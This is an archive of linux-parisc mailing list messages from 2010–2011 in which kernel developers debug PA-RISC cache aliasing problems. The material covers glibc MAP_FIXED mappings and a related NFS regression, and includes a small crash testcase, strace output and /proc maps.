Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3316>

On Thu, 30 Dec 2010, John David Anglin wrote:

> On Thu, 30 Dec 2010, John David Anglin wrote:
> 
> > Attached is an application that triggers similar errors:

Here is a simpler testcase:

int main ()
{
  asm ("stw %r0,0(%r0)"); /* Generate null pointer exception */
  return 0;
}

With the above, I get the following INEQUIVALENT ALIASES messages:

Jan  1 10:23:19 gsyprf11 kernel: [135942.140000] INEQUIVALENT ALIASES 0x406b1000 and 0x406b0000 in file libc-2.11.2.so
Jan  1 10:23:19 gsyprf11 kernel: [135942.224000] INEQUIVALENT ALIASES 0x406b1000 and 0x406b0000 in file libc-2.11.2.so

Running with strace, I see the following mmap call:

mmap(0x406b1000, 28672, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x158000) = 0x406b1000

This is from glibc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Sat, 1 Jan 2011 14:00:53 -0500
Organization: nrc.ca
Lines: 23
Approved: news@gmane.org
Message-ID: <20110101190052.GA19156@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site> <20101229042346.GA973@hiauly1.hia.nrc.ca> <1293634281.2803.4.camel@fuzzy> <20101230155640.GA7058@hiauly1.hia.nrc.ca> <20101230160944.GA7360@hiauly1.hia.nrc.ca> <20110101183108.GA19035@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1293908463 5485 80.91.229.12 (1 Jan 2011 19:01:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 Jan 2011 19:01:03 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 01 20:00:58 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PZ6hG-0008R9-1W
	for glpp-linux-parisc@lo.gmane.org; Sat, 01 Jan 2011 20:00:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751318Ab1AATAz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Jan 2011 14:00:55 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2386 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750827Ab1AATAz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Jan 2011 14:00:55 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F27B94DF4; Sat,  1 Jan 2011 14:00:53 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110101183108.GA19035@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3317
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3317>

On Sat, 01 Jan 2011, John David Anglin wrote:

> mmap(0x406b1000, 28672, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x158000) = 0x406b1000
> 
> This is from glibc.

In arch_get_unmapped_area(), it says:

	/* Might want to check for cache aliasing issues for MAP_FIXED case
	 * like ARM or MIPS ??? --BenH.
	 */
	if (flags & MAP_FIXED)
		return addr;

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Tue, 4 Jan 2011 22:49:23 -0500
Organization: nrc.ca
Lines: 65
Approved: news@gmane.org
Message-ID: <20110105034922.GA4120@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site> <20101229042346.GA973@hiauly1.hia.nrc.ca> <1293634281.2803.4.camel@fuzzy> <20101230155640.GA7058@hiauly1.hia.nrc.ca> <20101230160944.GA7360@hiauly1.hia.nrc.ca> <20110101183108.GA19035@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1294199374 20840 80.91.229.12 (5 Jan 2011 03:49:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 03:49:34 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 05 04:49:27 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PaKNK-0001w9-71
	for glpp-linux-parisc@lo.gmane.org; Wed, 05 Jan 2011 04:49:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751176Ab1AEDtZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Jan 2011 22:49:25 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2482 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750995Ab1AEDtZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Jan 2011 22:49:25 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 96BB94E7D; Tue,  4 Jan 2011 22:49:23 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110101183108.GA19035@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3318>

On Sat, 01 Jan 2011, John David Anglin wrote:

> On Thu, 30 Dec 2010, John David Anglin wrote:
> 
> > On Thu, 30 Dec 2010, John David Anglin wrote:
> > 
> > > Attached is an application that triggers similar errors:
> 
> Here is a simpler testcase:
> 
> int main ()
> {
>   asm ("stw %r0,0(%r0)"); /* Generate null pointer exception */
>   return 0;
> }
> 
> With the above, I get the following INEQUIVALENT ALIASES messages:
> 
> Jan  1 10:23:19 gsyprf11 kernel: [135942.140000] INEQUIVALENT ALIASES 0x406b1000 and 0x406b0000 in file libc-2.11.2.so
> Jan  1 10:23:19 gsyprf11 kernel: [135942.224000] INEQUIVALENT ALIASES 0x406b1000 and 0x406b0000 in file libc-2.11.2.so

This is what I see in the tasks maps file in /proc:

00010000-00011000 r-xp 00000000 08:30 6613687                            /home2/dave/inequiv/xxx1
00011000-00012000 rwxp 00000000 08:30 6613687                            /home2/dave/inequiv/xxx1
40000000-40005000 rw-p 00000000 00:00 0 
4002b000-4004b000 r-xp 00000000 08:03 2502157                            /lib/ld-2.11.2.so
4004b000-4004f000 rwxp 0001f000 08:03 2502157                            /lib/ld-2.11.2.so
4004f000-40050000 rwxp 00000000 00:00 0 
40138000-40291000 r-xp 00000000 08:03 2502172                            /lib/libc-2.11.2.so
40291000-40298000 rwxp 00158000 08:03 2502172                            /lib/libc-2.11.2.so
40298000-4029a000 rwxp 00000000 00:00 0 
fe09b000-fe0be000 rwxp 00000000 00:00 0                                  [stack]

As can be seen, there are duplicate maps with different protections for xxx1,
etc.  So, it's clear why we have the inequivalent aliases.  The map can
be accessed by the application (probably just for lines in the cache).
I have seen some discussions that even a read may lead to cache corruption.

These inequivalent maps are coming from glibc:

dave@gsyprf11:~/inequiv$ strace /lib/ld-2.11.2.so ./xxx1
execve("/lib/ld-2.11.2.so", ["/lib/ld-2.11.2.so", "./xxx1"], [/* 17 vars */]) = 0
brk(0)                                  = 0x4119a000
open("./xxx1", O_RDONLY)                = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\2\0\17\0\0\0\1\0\1\3T\0\0\0004"..., 512) = 512
fstat64(3, {st_mode=0, st_size=4380866642020, ...}) = 0
getcwd("/home2/dave/inequiv", 128)      = 20
mmap(0x10000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x10000
mmap(0x11000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x11000
...

Carlos what do you think?  arch_get_unmapped_area() accepts MAP_FIXED
requests even if it would violate cache aliasing constraints.  I don't
understand the purpose of the region at 0x11000.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: NFS broken in latest 2.6.37-rcX
Date: Wed, 05 Jan 2011 11:36:01 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <1294248961.15356.30.camel@mulgrave.site>
References: <20101222223410.3a5f44c3@zombie>
	 <AANLkTinp3LaW_h91E+44=_-anambaJwja3BFCfG60fUz@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294248979 21705 80.91.229.12 (5 Jan 2011 17:36:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 17:36:19 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 05 18:36:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PaXHQ-0002Jm-QE
	for glpp-linux-parisc@lo.gmane.org; Wed, 05 Jan 2011 18:36:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751978Ab1AERgJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jan 2011 12:36:09 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53557 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752292Ab1AERgH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jan 2011 12:36:07 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6061E8EE10C;
	Wed,  5 Jan 2011 09:36:04 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 1X+WdNHTivLb; Wed,  5 Jan 2011 09:36:04 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B75BC8EE0DF;
	Wed,  5 Jan 2011 09:36:03 -0800 (PST)
In-Reply-To: <AANLkTinp3LaW_h91E+44=_-anambaJwja3BFCfG60fUz@mail.gmail.com>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3319
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3319>

On Wed, 2010-12-22 at 16:53 -0500, Carlos O'Donell wrote:
> On Wed, Dec 22, 2010 at 4:34 PM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> > It seems that NFS got broken recently.
> > I've bisected this to babddc72a9468884ce1a23db3c3d54b0afa299f0.
> >
> > Both NFS version 2 and 3 are affected. I haven't tested NFS 4.
> >
> > I've been able to reproduce with both 32bit and 64bit kernels using
> > gcc-4.5.1 with the fix for PR46915 included.
> >
> > To reproduce, simply mount an NFS share and try to list the files with
> > ls.
> >
> > When listing the directory, the code seem to be looping in the commit I
> > mentioned. The network traffic goes high and you always see the same
> > packets flowing.
> >
> > In current HEAD, the behavior is slightly different. The process uses
> > 100% and either you get a kernel panic or if you are lucky, you get
> > something like "memory exhausted".
> >
> >
> > I'm not sure how to troubleshoot this further.
> >
> > Any idea ?
> 
> You need to understand the failure mode.
> 
> I would do two things:
> 
> (a) Revert the patch on HEAD and see if it works. This is usually
> convincing proof that something is broken and the patch interacts
> badly with our arch.
> 
> (c) Put printfs in the code to see where it's looping and under what
> conditions.
> 
> Once you have a better grasp of the failure mode you can contact the
> author of the patch and tell them about the breakage, CC linux-parisc,
> and ask for help.
> 
> That would be me plan of attack.

Arm ran into this as well

http://marc.info/?t=129372938100002

It looks to be an inequivalent aliasing problem caused by  writes via
the kernel direct mapping, and reads via vmalloc space.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Wed, 5 Jan 2011 12:37:04 -0500
Lines: 94
Approved: news@gmane.org
Message-ID: <AANLkTikC_1OGzzUkFpiCGx+F=29E9BZnyzU8xL0V-JU0@mail.gmail.com>
References: <1293034931.3019.8.camel@mulgrave.site>
	<20101229042346.GA973@hiauly1.hia.nrc.ca>
	<1293634281.2803.4.camel@fuzzy>
	<20101230155640.GA7058@hiauly1.hia.nrc.ca>
	<20101230160944.GA7360@hiauly1.hia.nrc.ca>
	<20110101183108.GA19035@hiauly1.hia.nrc.ca>
	<20110105034922.GA4120@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294249070 22320 80.91.229.12 (5 Jan 2011 17:37:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 17:37:50 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 05 18:37:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PaXIu-0003EK-Pr
	for glpp-linux-parisc@lo.gmane.org; Wed, 05 Jan 2011 18:37:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752137Ab1AERhK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jan 2011 12:37:10 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:54801 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752032Ab1AERhG convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jan 2011 12:37:06 -0500
Original-Received: by bwz15 with SMTP id 15so15697094bwz.19
        for <linux-parisc@vger.kernel.org>; Wed, 05 Jan 2011 09:37:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=Yyaexno6glM9qYvvw9mhDBA+9db7k/FvLaSk+CaOwW8=;
        b=WSxNLIKUC4ITsO+Xs4yaM4Rux1QUdRMVjk1aKeDxchI1WcyVnjVGb/teQ1FBI6hkjI
         AiBo2ZyDic/p53NcUh9/BHyd+Ek0bhajI2B8Qvr/uM6sOsXasliEJ9mdNRzd5NntcQI5
         gQ7cjFd9NkGQYg35kYp4wYOQGayOggDvRgBHA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=e2KtsxXZg03yIypFwfp8xhuxnZ+F/ywdNfn5+xVYAClsI7bwGbQ5Cupe1Vbr9pEhbP
         5mkk9NBkBP27ajw1Z6pBIPbQB+WJfl7xLL/8+kFCWxzZ7kbVXXTIZIe7+G16QVMx7mIV
         HIOITYc5WodlNN4pKkKqZCZd0TRXnKooHtj78=
Original-Received: by 10.204.73.78 with SMTP id p14mr17741404bkj.47.1294249024155; Wed,
 05 Jan 2011 09:37:04 -0800 (PST)
Original-Received: by 10.204.231.201 with HTTP; Wed, 5 Jan 2011 09:37:04 -0800 (PST)
In-Reply-To: <20110105034922.GA4120@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: HNlyGdnrHEH4F8v51sHDwRor3wU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3320
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3320>

On Tue, Jan 4, 2011 at 10:49 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Sat, 01 Jan 2011, John David Anglin wrote:
>
>> On Thu, 30 Dec 2010, John David Anglin wrote:
>>
>> > On Thu, 30 Dec 2010, John David Anglin wrote:
>> >
>> > > Attached is an application that triggers similar errors:
>>
>> Here is a simpler testcase:
>>
>> int main ()
>> {
>> =A0 asm ("stw %r0,0(%r0)"); /* Generate null pointer exception */
>> =A0 return 0;
>> }
>>
>> With the above, I get the following INEQUIVALENT ALIASES messages:
>>
>> Jan =A01 10:23:19 gsyprf11 kernel: [135942.140000] INEQUIVALENT ALIA=
SES 0x406b1000 and 0x406b0000 in file libc-2.11.2.so
>> Jan =A01 10:23:19 gsyprf11 kernel: [135942.224000] INEQUIVALENT ALIA=
SES 0x406b1000 and 0x406b0000 in file libc-2.11.2.so
>
> This is what I see in the tasks maps file in /proc:
>
> 00010000-00011000 r-xp 00000000 08:30 6613687 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/home2/dave/inequiv/xxx1
> 00011000-00012000 rwxp 00000000 08:30 6613687 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/home2/dave/inequiv/xxx1
> 40000000-40005000 rw-p 00000000 00:00 0
> 4002b000-4004b000 r-xp 00000000 08:03 2502157 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/lib/ld-2.11.2.so
> 4004b000-4004f000 rwxp 0001f000 08:03 2502157 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/lib/ld-2.11.2.so
> 4004f000-40050000 rwxp 00000000 00:00 0
> 40138000-40291000 r-xp 00000000 08:03 2502172 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/lib/libc-2.11.2.so
> 40291000-40298000 rwxp 00158000 08:03 2502172 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/lib/libc-2.11.2.so
> 40298000-4029a000 rwxp 00000000 00:00 0
> fe09b000-fe0be000 rwxp 00000000 00:00 0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0[stack]
>
> As can be seen, there are duplicate maps with different protections f=
or xxx1,
> etc. =A0So, it's clear why we have the inequivalent aliases. =A0The m=
ap can
> be accessed by the application (probably just for lines in the cache)=
=2E
> I have seen some discussions that even a read may lead to cache corru=
ption.
>
> These inequivalent maps are coming from glibc:
>
> dave@gsyprf11:~/inequiv$ strace /lib/ld-2.11.2.so ./xxx1
> execve("/lib/ld-2.11.2.so", ["/lib/ld-2.11.2.so", "./xxx1"], [/* 17 v=
ars */]) =3D 0
> brk(0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0=3D 0x4119a000
> open("./xxx1", O_RDONLY) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D 3
> read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\2\0\17\0\0\0\1\0\1\3T\0\0\=
0004"..., 512) =3D 512
> fstat64(3, {st_mode=3D0, st_size=3D4380866642020, ...}) =3D 0
> getcwd("/home2/dave/inequiv", 128) =A0 =A0 =A0=3D 20
> mmap(0x10000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DE=
NYWRITE, 3, 0) =3D 0x10000
> mmap(0x11000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_F=
IXED|MAP_DENYWRITE, 3, 0) =3D 0x11000
> ...
>
> Carlos what do you think? =A0arch_get_unmapped_area() accepts MAP_FIX=
ED
> requests even if it would violate cache aliasing constraints. =A0I do=
n't
> understand the purpose of the region at 0x11000.

I'm currently on the South Rim of the Grand Canyon with limited access
to my systems. I'll be back in touch near the end of January and look
into this.

What does the application look like e.g. readelf -a?

The 0x11000 region looks like .data?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: NFS broken in latest 2.6.37-rcX
Date: Wed, 5 Jan 2011 19:31:05 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <20110105193105.0e3b0fec@borg.bxl.tuxicoman.be>
References: <20101222223410.3a5f44c3@zombie>
	<AANLkTinp3LaW_h91E+44=_-anambaJwja3BFCfG60fUz@mail.gmail.com>
	<1294248961.15356.30.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294252281 8233 80.91.229.12 (5 Jan 2011 18:31:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 18:31:21 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 05 19:31:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PaY8h-0001IQ-Ap
	for glpp-linux-parisc@lo.gmane.org; Wed, 05 Jan 2011 19:31:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751554Ab1AESbO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jan 2011 13:31:14 -0500
Original-Received: from luna.schedom-europe.net ([193.109.184.86]:33339 "EHLO
	luna.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751447Ab1AESbO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jan 2011 13:31:14 -0500
Original-Received: (qmail 23478 invoked by uid 507); 5 Jan 2011 19:31:11 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	luna.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by luna.schedom-europe.net with SMTP; 5 Jan 2011 19:31:06 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PaZ9j-0004Vt-0x; Wed, 05 Jan 2011 20:36:23 +0100
In-Reply-To: <1294248961.15356.30.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3321
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3321>


James,

Thanks for pointing me to the thread.

I reached similar conclusion as well. After adding lots of printk, I
could see that the page where the skb buff is copied is not or
partially updated when being read by xdr_page_filler.

Cheers,
  Guy

On Wed, 05 Jan 2011 11:36:01 -0600
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> On Wed, 2010-12-22 at 16:53 -0500, Carlos O'Donell wrote:
> > On Wed, Dec 22, 2010 at 4:34 PM, Guy Martin <gmsoft@tuxicoman.be>
> > wrote:
> > > It seems that NFS got broken recently.
> > > I've bisected this to babddc72a9468884ce1a23db3c3d54b0afa299f0.
> > >
> > > Both NFS version 2 and 3 are affected. I haven't tested NFS 4.
> > >
> > > I've been able to reproduce with both 32bit and 64bit kernels
> > > using gcc-4.5.1 with the fix for PR46915 included.
> > >
> > > To reproduce, simply mount an NFS share and try to list the files
> > > with ls.
> > >
> > > When listing the directory, the code seem to be looping in the
> > > commit I mentioned. The network traffic goes high and you always
> > > see the same packets flowing.
> > >
> > > In current HEAD, the behavior is slightly different. The process
> > > uses 100% and either you get a kernel panic or if you are lucky,
> > > you get something like "memory exhausted".
> > >
> > >
> > > I'm not sure how to troubleshoot this further.
> > >
> > > Any idea ?
> > 
> > You need to understand the failure mode.
> > 
> > I would do two things:
> > 
> > (a) Revert the patch on HEAD and see if it works. This is usually
